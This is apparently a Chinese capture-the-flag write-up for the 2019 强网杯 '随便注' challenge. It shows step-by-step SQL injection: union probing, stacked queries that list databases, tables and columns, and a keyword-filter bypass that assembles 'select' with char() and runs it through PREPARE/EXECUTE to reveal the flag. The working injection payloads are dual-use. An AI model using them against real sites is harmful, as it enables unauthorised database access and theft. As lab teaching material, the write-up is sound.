[强网杯 2019]随便注

目录

1. 提交搜索框,应该是SQL注入,判断类型 

2. 判断字段数  

3. 使用基础的联合注入试一试叭  

4. 堆叠注入  

爆库:0';show databases;#

爆表:0';show tables;#

爆列:0';show columns from words;#

5. 转换、拼接

爆值  


1. 提交搜索框,应该是SQL注入,判断类型 

1 or 1 = 1 #

1' or 1 = 1 #

[强网杯 2019]随便注

[强网杯 2019]随便注

发现字符型将内容全部显示出来了,所以应该是字符型  

2. 判断字段数  

1' order by 2 #

1' order by 3 #

字段数为3

3. 使用基础的联合注入试一试叭  

0' union select 1,2 #

[强网杯 2019]随便注

得到:return preg_match("/select|update|delete|drop|insert|where|./i",$inject);  

preg_match 函数用于执行一个正则表达式匹配。

说明对这些字符进行了过滤,所以我们不能带有这些字符进行注入  

4. 堆叠注入  

一般过滤掉很多关键字的时候我们就要想到使用堆叠注入  

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,

利用mysqli_multi_query()函数就支持多条sql语句同时执行,

但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,

所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

爆库:0';show databases;#

[强网杯 2019]随便注

爆表:0';show tables;#

[强网杯 2019]随便注

爆列:0';show columns from words;#

[强网杯 2019]随便注

0';show columns from `1919810931114514` ;#

[强网杯 2019]随便注

为什么用反引号呢?因为当数字型字符作为字段、表、库名查询时,应该用反单引号括起来输入之后得到    

5. 转换、拼接

爆值  

这里,堆叠注入也无法避免使用之前被过滤的字符,所以我们得看看其它方法。

本题即可利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句,最后执行即可  

了解一下这些内容的含义:  

PREPARE sqla from '[my sql sequece]'; 预定义SQL语句

EXECUTE sqla; 执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句 通过变量进行传递

SET @tn = 'flag'; 存储表名

PREPARE sqla from @sql; 预定义SQL语句

EXECUTE sqla; 执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句 PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。 准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

ASCII码:select=115,101,108,101,99,116

1';SET @sql=concat(char(115,101,108,101,99,116)," * from   `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;

[强网杯 2019]随便注

flag{c83a29b2-8069-4cd4-a1ea-fc1e40f7e048}

 

上一篇:Android用mediaPlayer.prepare()报错


下一篇:[2018 徐州 网络赛|Hard to prepare ] 环形染色问题的公式解法